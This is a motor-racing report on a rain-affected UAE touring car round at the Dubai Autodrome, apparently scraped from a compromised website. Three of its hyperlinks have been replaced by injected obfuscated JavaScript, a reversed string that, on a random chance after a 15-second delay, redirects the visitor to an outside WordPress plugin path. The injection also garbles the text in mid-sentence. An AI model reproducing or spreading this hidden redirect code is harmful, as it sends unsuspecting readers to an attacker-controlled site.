The waiting was starting to get to everyone. A rare wet spell had already caused, perhaps not chaos but certainly confusion, at the Dubai Autodrome ahead of first qualifying for the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/radical-winter-cup-round-2-dubai-autodrome-spinning-in-the-rain/” target=”_blank”>Radical Winter Cup. Kitted out with wet tyres by the AUH Motorosports crew, only a scuff, a spin and occasionally dented pride hindered the Radicals’ progress.
For the touring car and Sportbike competitors though it was a different story. None of the drivers/riders had wet weather tyres – why on earth would they need them? – and though conditions were not as bleak as they had been earlier in the morning, by lunchtime the decision still had not been made.
The last thing any of the drivers needed was to stack their season-long challenger into the pitwall after catching a rogue patch of standing water. Indeed, before first qualifying had even got underway for the Radicals, the Sportbikes had already called it a day.
Driver and fans alike waited, race suits half zipped up, foldaway deckchairs lining each garage. Just waiting.
By midday the sun began to peak its way from behind the grey clouds, the previously sodden circuit soon beginning to dry, and within the hour we were hard pushed to find any examples of the earlier downpour at all, give or take an errant puddle here and there.
Helmets on and engines fired, qualifying had soon been and gone, Costas Papantonis firmly planting his Gulf Petrochem/Mouhritsa-prepared SEAT Leon on pole position. His cause was helped by the absence of both Nabil Moutran and Brian McGinley (whose Opel Astra has yet to see the track thus far in the 2012/2013 season), but it was clear to see that after $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/ngk-racing-series-round-1-yas-marina-the-face-of-adversity/” target=”_blank”>his troubles at Yas Marina and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/uae-national-racing-touring-car-championship-every-second-counts/” target=”_blank”>heartbreak last time out at the Dubai Autodrome, the Grecian badly wanted a win.
Fate for once was on his side. Sort of. A clean start meant Papantonis – with no Class 1 rivals to challenge him – soon opened up an insurmountable lead over the rest of the field. And even though blue and white fingers were crossed as the SEAT Leon started its final lap, the chances of the birthday boy failing to secure victory seemed remote.
Ironically, the rain would return shortly before the start of race two, leading to the final round of the day being cancelled. Even with an open goal in front of him, Papantonis still walked away from the Autodrome with only one win from two. Such is motor racing.
